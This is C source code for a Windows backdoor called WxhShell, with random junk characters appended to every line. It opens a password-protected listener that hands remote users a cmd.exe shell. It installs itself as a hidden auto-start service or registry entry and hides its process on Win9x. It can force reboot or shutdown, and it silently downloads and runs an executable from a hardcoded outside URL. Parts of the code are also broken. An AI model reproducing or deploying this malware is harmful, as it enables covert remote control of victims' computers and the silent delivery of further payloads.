    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); q SCt= eQ  
    if(Boot(SHUTDOWN)) JK[7&C-O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t?YGGu^  
    else { olK%TM[Y  
    closesocket(wsh); .hETqE`E  
    ExitThread(0); 3<'SnP3mY  
    } 9FJU'$FN  
    break; h +N75  
    } c @2s!bs  
  // 获取shell l$zo3[  
  case 's': { LR-op?W  
    CmdShell(wsh); LL kAA?P  
    closesocket(wsh); B1*%pjy  
    ExitThread(0); "xnek8F  
    break; a&PoUwG  
  } (Ozb+W?  
  // 退出 L7a+ #mGE  
  case 'x': { H'Z[3e  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); jr~76  
    CloseIt(wsh); P9X/yZ42  
    break; ^[^uDE <  
    } =0x[Sa$&,  
  // 离开 X} 8rrC=  
  case 'q': { >Mi A|N=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); xJc'tT6@  
    closesocket(wsh); dIIsO{Zqv  
    WSACleanup(); "F)7!e  
    exit(1); TxPP{6t  
    break; 4s0>QD$J  
        } ^t9"!K  
  } Ao?H.=#y  
  } >q[Elz=dI  
P%%Cd  
  // 提示信息 u8-)LOf(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <t]i' D(K  
} 8c]\4iau  
  } 2{@: :JZ  
"qQU ^FW  
  return; aViJ?*  
} h1JG^w$ 5  
@36^4E>h  
// shell模块句柄 M7!&gFv8  
int CmdShell(SOCKET sock) (w"zI!  
{ $\m=-5 0-  
STARTUPINFO si; y~p7&^FeR  
ZeroMemory(&si,sizeof(si)); F}i rCi47c  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !Y`nKC(=z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 36&7J{MU  
PROCESS_INFORMATION ProcessInfo; @: %}clZ  
char cmdline[]="cmd"; tEBf2|<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +>c)5Jih  
  return 0; pEhWgCL  
} !Bu<6  
|wVoJO!O}  
// 自身启动模式 UI>-5,X  
int StartFromService(void) %oC]Rpdu  
{ \=,+weGw@  
typedef struct B^{bXhDp  
{ v|QFUa`  
  DWORD ExitStatus; Tje =vI  
  DWORD PebBaseAddress; VY~WkSi[<  
  DWORD AffinityMask; 1sn!!  
  DWORD BasePriority; v_)cp9d]  
  ULONG UniqueProcessId; 6mMJ$FY+  
  ULONG InheritedFromUniqueProcessId; &e3z)h  
}   PROCESS_BASIC_INFORMATION; %o+bO}/9  
_Ndy;MQ  
PROCNTQSIP NtQueryInformationProcess; w#XE!8`  
$0iz;!w  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !4I?59  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; LNk 3=v2M  
1pO ;aG1O  
  HANDLE             hProcess; P|_?{1eO2  
  PROCESS_BASIC_INFORMATION pbi; ;?h#',(p  
U{eC^yjt"o  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -"!V&M  
  if(NULL == hInst ) return 0; fgTvwO Sk  
|w /txn8G|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *~2jP;$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); n1buE1r?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); R/<  /g=  
r/3 !~??x  
  if (!NtQueryInformationProcess) return 0; +apIp(E+  
k= nfo-h  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {TE0  
  if(!hProcess) return 0; .yg"!X  
,MOB+i(3*u  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /i DS#l\0  
O&d(FJZ  
  CloseHandle(hProcess); ukq9Cjs  
R!}B^DVt  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); uyjZmT/-  
if(hProcess==NULL) return 0; YJeZ{Wws  
7fnKe2M M  
HMODULE hMod; |]r# IpVf  
char procName[255];  $@8\9Y {  
unsigned long cbNeeded; l]3g6c  
:M|bw{P*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^b>E_u  
pPG!{:YT  
  CloseHandle(hProcess); SuGlNp>#qm  
A(;J  
if(strstr(procName,"services")) return 1; // 以服务启动 d'Gv\i&e  
69yTGUG3  
  return 0; // 注册表启动 '{6`n5:e  
} Wu.od|t0  
If!0w ;h  
// 主模块 =p&6A^  
int StartWxhshell(LPSTR lpCmdLine) Er{[83  
{ CdTmL{Y1  
  SOCKET wsl; `2r21rVntf  
BOOL val=TRUE; t$Irr*  
  int port=0; ?xUz{O0/  
  struct sockaddr_in door; .7E-  
>{Lfrc1  
  if(wscfg.ws_autoins) Install(); ;M4N=G Wd4  
y^M'&@F  
port=atoi(lpCmdLine); Y5ebpw+B-  
VFA1p)n  
if(port<=0) port=wscfg.ws_port; s/Q}fW$ex  
-uO< ]  
  WSADATA data; rhNdXYY>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9n8;eE08  
PMXnupt  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {} vl^b  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); JB b}{fo~  
  door.sin_family = AF_INET; 1`2lTkg  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); r]0o  
  door.sin_port = htons(port); *xL#1  
r \=p.cw<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { y7,~7f!N2  
closesocket(wsl); o L6[i'H|  
return 1; u$<FKp;I  
} @@ ZcW<Y"  
:MJBbrV ,  
  if(listen(wsl,2) == INVALID_SOCKET) {  tEP^w  
closesocket(wsl); Kau*e8  
return 1; {6/%w,{,  
} /xsa-F  
  Wxhshell(wsl); #docBsHX&s  
  WSACleanup(); Dq2eX;c@  
1Rp|*>  
return 0; 7M*+!al9  
YWq[)F@0G  
} `4;<\VYCr  
jX+LI  
// 以NT服务方式启动 * k =L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0Vy* 0\{S  
{ j#!J hi  
DWORD   status = 0; s/ZOA[Yux  
  DWORD   specificError = 0xfffffff; 5l(;+#3y/  
OtQKDpJq  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -P'>~W,~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; b[RBp0]x  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; f<kL}B+,Og  
  serviceStatus.dwWin32ExitCode     = 0; <;U"D.'  
  serviceStatus.dwServiceSpecificExitCode = 0; `5GJ,*{z  
  serviceStatus.dwCheckPoint       = 0; uLL#(bhDr  
  serviceStatus.dwWaitHint       = 0; Tb{,WUJg2  
kN>d5q9b%X  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7Jc=`Zm'  
  if (hServiceStatusHandle==0) return; zWjGGTP~3&  
3_Oq4/  
status = GetLastError(); n]8_]0{qi  
  if (status!=NO_ERROR) 3)dT+lZ  
{ Aoa0czC~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; D0x+b2x^  
    serviceStatus.dwCheckPoint       = 0; =4Ex' %%(U  
    serviceStatus.dwWaitHint       = 0; :B=`^>RK  
    serviceStatus.dwWin32ExitCode     = status; fJ\Ys;l[j  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^/g&Q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); n,Ux>L  
    return; * ?KQ\ Y  
  } T 6phD8#  
K h% x  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; SB  \ptF  
  serviceStatus.dwCheckPoint       = 0; ]]`+aF0  
  serviceStatus.dwWaitHint       = 0; D 3Int0n  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1/1P;8F@G  
} aG=Y 6j G  
VQo7 se1P  
// 处理NT服务事件,比如:启动、停止 7c;59$2(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;\#u19  
{ ao7|8[  
switch(fdwControl) 162qxR[.  
{ {nHy!{+qqG  
case SERVICE_CONTROL_STOP: ""WZpaw  
  serviceStatus.dwWin32ExitCode = 0; }^LcKV  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &+sO"j4<?r  
  serviceStatus.dwCheckPoint   = 0; @)}Vk  
  serviceStatus.dwWaitHint     = 0; 2'pxA:  
  { Ho"FB|e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9"V27"s  
  } 8E0Rg/DnT  
  return; Yn I   
case SERVICE_CONTROL_PAUSE: da[l[b;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; sDbALAp +  
  break; _0vXujz  
case SERVICE_CONTROL_CONTINUE: @H{$,\\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]L_HnmD6  
  break; K"=v| a.  
case SERVICE_CONTROL_INTERROGATE: Rbr vY  
  break; ,][+:fvS  
}; GXHk{G@TS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pr;L~$JW  
} YHKm{A ]  
z*9/"M  
// 标准应用程序主函数 K7_)!=DcX  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) yyA/x,  
{ 5h20\b?=$  
/n"A%6S  
// 获取操作系统版本 Jv)]7u  
OsIsNt=GetOsVer(); ?94da4p  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9Z+@i:_}  
m9PcDhv  
  // 从命令行安装 "[#jq5> :  
  if(strpbrk(lpCmdLine,"iI")) Install(); F48`1+  
h_CeGl!M}  
  // 下载执行文件 /pyKTZ|  
if(wscfg.ws_downexe) { FAQ:0 L$G  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?T4%"0  
  WinExec(wscfg.ws_filenam,SW_HIDE); r_2  
} I1}{7-_t  
%@BQv 4oJ  
if(!OsIsNt) { ]AHi$Xx  
// 如果时win9x,隐藏进程并且设置为注册表启动 Tzk8y 7$[  
HideProc(); ~ Q]B}qdm  
StartWxhshell(lpCmdLine); M#|TQa N  
} @pG\5Jnf  
else a .] !  
  if(StartFromService()) Z;n}*^U  
  // 以服务方式启动 O-&n5  
  StartServiceCtrlDispatcher(DispatchTable); pP".?|n  
else iK.MC%8?  
  // 普通方式启动 Dt +"E  
  StartWxhshell(lpCmdLine); g~V{Ca;}  
CMF1<A4]  
return 0; r/{VL3}F_e  
} "3hw]`a}  
%@r h\Z  
X He=  
:'rXu6c-  
=========================================== o oS4F1ta  
!'[sV^ ds  
H-rf?R2  
*2>%>qu  
uvmNQg  
+h9CcBd  
" Ak9W8Z}  
4ErDGYg}  
#include <stdio.h> )FHaJ*&d  
#include <string.h> _6(zG.Fg  
#include <windows.h> {+r?g J  
#include <winsock2.h> \|T0@V  
#include <winsvc.h> -l,ib=ne  
#include <urlmon.h> ,-{j.  
u_ Q3v9  
#pragma comment (lib, "Ws2_32.lib") lI5{]?'  
#pragma comment (lib, "urlmon.lib") #2WBYScW0  
Vy5Q+gw  
#define MAX_USER   100 // 最大客户端连接数 :X$&g sT/,  
#define BUF_SOCK   200 // sock buffer 4XKg3l1  
#define KEY_BUFF   255 // 输入 buffer <~Y4JMr"  
YobIbpo  
#define REBOOT     0   // 重启 r^\^*FD |  
#define SHUTDOWN   1   // 关机 Q5jP`<zWU  
Z]Qm64^I  
#define DEF_PORT   5000 // 监听端口 Y@r#:BH )  
o 86}NqK  
#define REG_LEN     16   // 注册表键长度 eFeeloH?e*  
#define SVC_LEN     80   // NT服务名长度 `i.f4]r  
f|q6<n_nM  
// 从dll定义API Dn6DkD!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); O&O1O> [p1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); h]D=v B  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); UIu'x_qc  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); klx4Mvq+/@  
"?N`9J|j)~  
// wxhshell配置信息 @lj  
struct WSCFG { Cw+ (,1  
  int ws_port;         // 监听端口 4 bJ3uIP#  
  char ws_passstr[REG_LEN]; // 口令 I&cb5j]C  
  int ws_autoins;       // 安装标记, 1=yes 0=no V*)6!N[5  
  char ws_regname[REG_LEN]; // 注册表键名 {$s:N&5  
  char ws_svcname[REG_LEN]; // 服务名 r] ]Ke_s!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~q1s4^J  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 r7IhmdA  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 L~yy;)]W  
int ws_downexe;       // 下载执行标记, 1=yes 0=no gZPJZN/cpz  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" f?{Y<M~]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ", |wG7N K  
V)0bLR  
}; HSUr  
qGh rJ6R!  
// default Wxhshell configuration 2R5]UR S  
struct WSCFG wscfg={DEF_PORT, v)pdm\P  
    "xuhuanlingzhe", ae^xuM?7  
    1, c{852R  
    "Wxhshell", Y8AU<M  
    "Wxhshell", Lc.7:r  
            "WxhShell Service", ~ h:^Q  
    "Wrsky Windows CmdShell Service", ^< E,aCy  
    "Please Input Your Password: ", "~+K`*0r8  
  1, ~\oJrRYR`  
  "http://www.wrsky.com/wxhshell.exe", SS`\,%aog  
  "Wxhshell.exe" vw(};)8  
    }; '/"(`f,  
{bNnhW*qOu  
// 消息定义模块 9j,zaGD0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Y]n^(V  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4+W}TKw  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; V3`*LU  
char *msg_ws_ext="\n\rExit."; "Srp/g]a  
char *msg_ws_end="\n\rQuit."; N7M^  
char *msg_ws_boot="\n\rReboot..."; )q=1<V44d  
char *msg_ws_poff="\n\rShutdown..."; JRo{z{!O6  
char *msg_ws_down="\n\rSave to "; V,Gt5lL&/!  
aI\VqOt]  
char *msg_ws_err="\n\rErr!"; -I|yi'  
char *msg_ws_ok="\n\rOK!"; tb=(L  
<<`."RY#0  
char ExeFile[MAX_PATH]; RSnK`N\9jb  
int nUser = 0; /stED{j,  
HANDLE handles[MAX_USER]; `Y[zF1$kz^  
int OsIsNt; M9N|Ql  
_{ba  
SERVICE_STATUS       serviceStatus; |_ @iaLE  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; gVD!.  
$Z(zO;k.  
// 函数声明 r*3;gyG.,#  
int Install(void); m.$Oo Mu'  
int Uninstall(void); {-E{.7  
int DownloadFile(char *sURL, SOCKET wsh); \(z)]D  
int Boot(int flag); KcrF=cA  
void HideProc(void); Dho~6K }"  
int GetOsVer(void); &/ zs Ix+  
int Wxhshell(SOCKET wsl); L3W ^ip4  
void TalkWithClient(void *cs); AI)9E=D%  
int CmdShell(SOCKET sock); dE^'URBiA  
int StartFromService(void); epwXv|aSZ  
int StartWxhshell(LPSTR lpCmdLine); b"zq3$6*  
9S<W~# zz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); D!-zQ`^  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  <Nw?9P  
W35nnBU  
// 数据结构和表定义 gr7W&2x7\  
SERVICE_TABLE_ENTRY DispatchTable[] = Y#Z&$&n  
{ d5i /:  
{wscfg.ws_svcname, NTServiceMain}, i'57|;?  
{NULL, NULL} F^w0TD8  
}; j`#|z9`(pB  
H ,?MG  
// 自我安装 : i(h[0  
int Install(void) z;3}GxE-si  
{ xA-G&oC]<T  
  char svExeFile[MAX_PATH]; `"bm Hs7  
  HKEY key; ogPfz/ hw  
  strcpy(svExeFile,ExeFile); ud.S, 8Sy  
$b8>SSz  
// 如果是win9x系统,修改注册表设为自启动 \twlHj4  
if(!OsIsNt) { ^6`R:SV4Gx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;m&f Vp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Jsw<,uT D  
  RegCloseKey(key); A1Zu^_y'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZWr\v!4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @4Y>)wn&;  
  RegCloseKey(key); 1'd "O @  
  return 0; )GR^V=o7,Y  
    } m2V4nxw]Qp  
  } jK{CjfCNz  
} PEBQ|k8g&  
else { w|M?t{  
S=my;M-  
// 如果是NT以上系统,安装为系统服务 z1L.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <oeHZD_ OR  
if (schSCManager!=0) T @z$g  
{ &d*9#?9  
  SC_HANDLE schService = CreateService k!%HcU%J  
  ( xWlB!r<}Gz  
  schSCManager, ]]]7"a  
  wscfg.ws_svcname, -x RsYYw  
  wscfg.ws_svcdisp, UIyOn` d"  
  SERVICE_ALL_ACCESS, |M0TG  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @!F9}n AP  
  SERVICE_AUTO_START, PffwNj/l  
  SERVICE_ERROR_NORMAL, ;ndg,05_  
  svExeFile, k"n#4o:  
  NULL, iCc \p2p  
  NULL, 3NJ-.c@(p  
  NULL, rKjQEO$yi  
  NULL, D_8hn3FH  
  NULL ) ejvT-  
  ); n_w,Ew,>5  
  if (schService!=0) W6*(Y  
  { WpvH} l r}  
  CloseServiceHandle(schService); ^ZV xBQKg  
  CloseServiceHandle(schSCManager); ;Lu}>.t  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9\"~G)  
  strcat(svExeFile,wscfg.ws_svcname); 6 HEl1FK{@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;or> Sh7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f.u{;W  
  RegCloseKey(key); ,%:`Ll t]$  
  return 0; -Pvt+I>  
    } {=(4  
  } RJ-CWt [LG  
  CloseServiceHandle(schSCManager); *}0Q S@FN  
} me9RnPe:  
} )WzCUYE1/  
qVY\5`f@  
return 1; w68qyG|wM  
} Tq?W @DM*  
q`\lvdl  
// 自我卸载 8cd,SQ}y  
int Uninstall(void) BpK P]V  
{ k'\RS6M`L  
  HKEY key; kC#;j=K?  
v<-D>iJ  
if(!OsIsNt) { A+dY~@*a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J 5\> 8I,a  
  RegDeleteValue(key,wscfg.ws_regname); GC{Ys|s  
  RegCloseKey(key); Isi ,Tl ^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z-~^)lo  
  RegDeleteValue(key,wscfg.ws_regname); kP|!!N  
  RegCloseKey(key); L Y M`  
  return 0; qa Q  
  } n|F`6.G  
} .3Ap+V8?  
} kBT cN D|  
else { j9qN!.~mM  
b/G0EcRw+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); I4)vJ0  
if (schSCManager!=0) Obd!  
{ `W/6xm(X5;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); wgufk {:  
  if (schService!=0) y_nh~&  
  { 7X.1QSuE  
  if(DeleteService(schService)!=0) { ar{e<&Bny  
  CloseServiceHandle(schService); >Te{a*`"m:  
  CloseServiceHandle(schSCManager); 7eO8cPy  
  return 0; I?:V EN:  
  } :DZiDJ@  
  CloseServiceHandle(schService); 6?Wsg`9  
  } fY `A  
  CloseServiceHandle(schSCManager); 6v1j*'  
} FX'W%_f,  
} Nn^el' S'  
PF+`3  
return 1; q8p 'bibY  
} FqiK}K.~/  
jVA xa|S  
// 从指定url下载文件 <ImeZ'L7  
int DownloadFile(char *sURL, SOCKET wsh) qzG'Gz{{qu  
{ :')<|(Zy  
  HRESULT hr; D?E5p.!A  
char seps[]= "/"; Wl,yznT  
char *token; Xu T|vh  
char *file; ="4jk=on  
char myURL[MAX_PATH]; H#ihU3q  
char myFILE[MAX_PATH]; ;P{ *'@  
4bKZ@r%  
strcpy(myURL,sURL); *zx;81X=  
  token=strtok(myURL,seps); v14[G@V~\  
  while(token!=NULL) x_Z~k  
  { 6ZM<M7(V  
    file=token; t2E_y6  
  token=strtok(NULL,seps); c]O4l2nCL  
  } Rbl(oj#  
< /}[x2w?]  
GetCurrentDirectory(MAX_PATH,myFILE); .h6h&[TEU  
strcat(myFILE, "\\"); %AJdtJ@0H  
strcat(myFILE, file); ) HmpVH  
  send(wsh,myFILE,strlen(myFILE),0); }skXh_Vu4  
send(wsh,"...",3,0); leiza?[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {4Isz-P  
  if(hr==S_OK) SQHV gj  
return 0; g"!B |  
else  t9=rr>8)  
return 1; |?0C9  
;m\(fW*ii  
} QOOBCNe  
9:m+mpL=9  
// 系统电源模块 6tJM*{$$H  
int Boot(int flag) |_A35"v  
{ 1wq 6E  
  HANDLE hToken; -}>Q0d)  
  TOKEN_PRIVILEGES tkp; Z2ZS5a  
c2i^dNp_  
  if(OsIsNt) { QTDI^ZeuF  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @Wv*`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 'E@D  
    tkp.PrivilegeCount = 1; AvwX 2?tc  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; T|=8 jt,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); E;X'.7[c  
if(flag==REBOOT) { 's9)\LS>p  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) sPhh#VCw{  
  return 0; xOt|j4  
} 6Y=$7%z  
else { ycH=L8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) y@(U 6ZOyx  
  return 0; +yYz;, \  
} Lkb?,j5  
  } BEY}mR]  
  else { )S5Q5"j&=f  
if(flag==REBOOT) { U2h?l `nP  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) LsmC/+7r$1  
  return 0; YS/DIH{9e  
} <?I~ +  
else { .IgCC_C9  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) U"ZDt  
  return 0; w</kGK[O  
} @1kA%LLK  
} {>~|xW  
0h5T&U]${Y  
return 1; NTn-4iJy  
} P!-9cd1 C,  
+`9T?:fu  
// win9x进程隐藏模块 p_}OtS;  
void HideProc(void) U>{z*D  
{ 3cs'Oz<w  
*l5/q\D  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); rSa 3u*xB  
  if ( hKernel != NULL ) \ET7  
  { _|#)tWy}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Bt.WRRpAB  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $V@IRBm  
    FreeLibrary(hKernel); DQE.;0ld  
  } e}Db-7B_~  
+4@EJRC  
return; a|OX4  
} P ^D\znvc  
No h*1u*  
// 获取操作系统版本 h<}4mo_ $  
int GetOsVer(void) ^c/.D*J[I  
{ [rf.P'p%  
  OSVERSIONINFO winfo; {>syZZ,h  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); HtXzMSGo7  
  GetVersionEx(&winfo); $cYh X^YG.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) T]0qd^\4w  
  return 1; +.zriiF]i  
  else D V C};  
  return 0; uu'~[SZlL  
} n}YRE`>D  
;]'mx  
// 客户端句柄模块 }PoB`H'K5  
int Wxhshell(SOCKET wsl) G"C'/  
{ o8Tt|Lxb$8  
  SOCKET wsh; .)Du ;  
  struct sockaddr_in client; &'i>5Y  
  DWORD myID; 6)Kg!.n%f  
_57i[U r  
  while(nUser<MAX_USER) ?a(ApD\  
{ mgg/i@(  
  int nSize=sizeof(client); 7=}`"7i~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); aLG6yVtu  
  if(wsh==INVALID_SOCKET) return 1; %\CsP!  
yV_aza  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); qL] !/}  
if(handles[nUser]==0) 2x t 8F  
  closesocket(wsh); zs WYV n]  
else f BukrPsV  
  nUser++; GsxrqIaD  
  } q.~_vS%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Kc0KCBd8];  
*Z<`TB)<X  
  return 0; pYH#Vh  
} s_u@8e 6_  
va| 1N/&  
// 关闭 socket LG@5Z-  
void CloseIt(SOCKET wsh) L%Me wU0TZ  
{ oS, %L  
closesocket(wsh); =M>pL+#  
nUser--; F!'y47QD  
ExitThread(0); jsjH.O  
} L_Ff*   
bF<FX_}!s!  
// 客户端请求句柄 vDqmD{%4N  
void TalkWithClient(void *cs) TU^UR}=lP  
{ eqg|bc[i!t  
&KT*rL  
  SOCKET wsh=(SOCKET)cs; ,d$V-~2,  
  char pwd[SVC_LEN]; F0qGkMs|f  
  char cmd[KEY_BUFF]; r 1nl!  
char chr[1]; [a`89'"z  
int i,j; >6KuZ_  
7gNJ}pLDx  
  while (nUser < MAX_USER) { Nxp 7/Nn3  
xZwG@+U=X  
if(wscfg.ws_passstr) { o^}K]ML!t  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :!n_a*.{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1=}+NK!  
  //ZeroMemory(pwd,KEY_BUFF); ( hp 52Vse  
      i=0; UBLr|e>dQE  
  while(i<SVC_LEN) { lmf vT}$B  
GU([A@;  
  // 设置超时 ~ep-XO  
  fd_set FdRead; >;LXy  
  struct timeval TimeOut; i^f*Em1  
  FD_ZERO(&FdRead); @ l41'?m  
  FD_SET(wsh,&FdRead); I x kL]  
  TimeOut.tv_sec=8; tZB" (\  
  TimeOut.tv_usec=0; p D-k<8|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (_ HwU/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,( u- x!  
8KiG(6*Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  LhKaqR{  
  pwd=chr[0]; Nawph  
  if(chr[0]==0xd || chr[0]==0xa) { b bCH(fYbu  
  pwd=0; 6j/g/!9c!  
  break; xf% _HMKc  
  } uB_8P+h7  
  i++; H`d595<=i;  
    } hSr2<?yk  
D=Jj!;  
  // 如果是非法用户,关闭 socket _)XQb1]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Tr*3:J }  
} ,1&Pb %}  
g(& huS  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); '"qTmo!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mSdByT+dG  
:#7"SEud}  
while(1) { C9OEB6  
e ?sMOBPlv  
  ZeroMemory(cmd,KEY_BUFF); nvY%{Zf$}  
\MI2^J N  
      // 自动支持客户端 telnet标准   _Wg?H:\  
  j=0; 'guXdX]Gu  
  while(j<KEY_BUFF) { 3CcCcZ9I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X$BN &DD  
  cmd[j]=chr[0]; fqpbsM;M]  
  if(chr[0]==0xa || chr[0]==0xd) { 5 nF46c  
  cmd[j]=0; +Np[m$Z *  
  break; MkLXMwuQ&  
  } 'o}v{f  
  j++; P|j|0o,8p  
    } &rs   
{G.W?  
  // 下载文件 UI2TW)^2  
  if(strstr(cmd,"http://")) { /o L& <e  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); pW5ch"HE  
  if(DownloadFile(cmd,wsh)) #!?jxfsFa  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); H?oBax:  
  else B! +rO~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ad)jw:n  
  } 7M8oI.?C|  
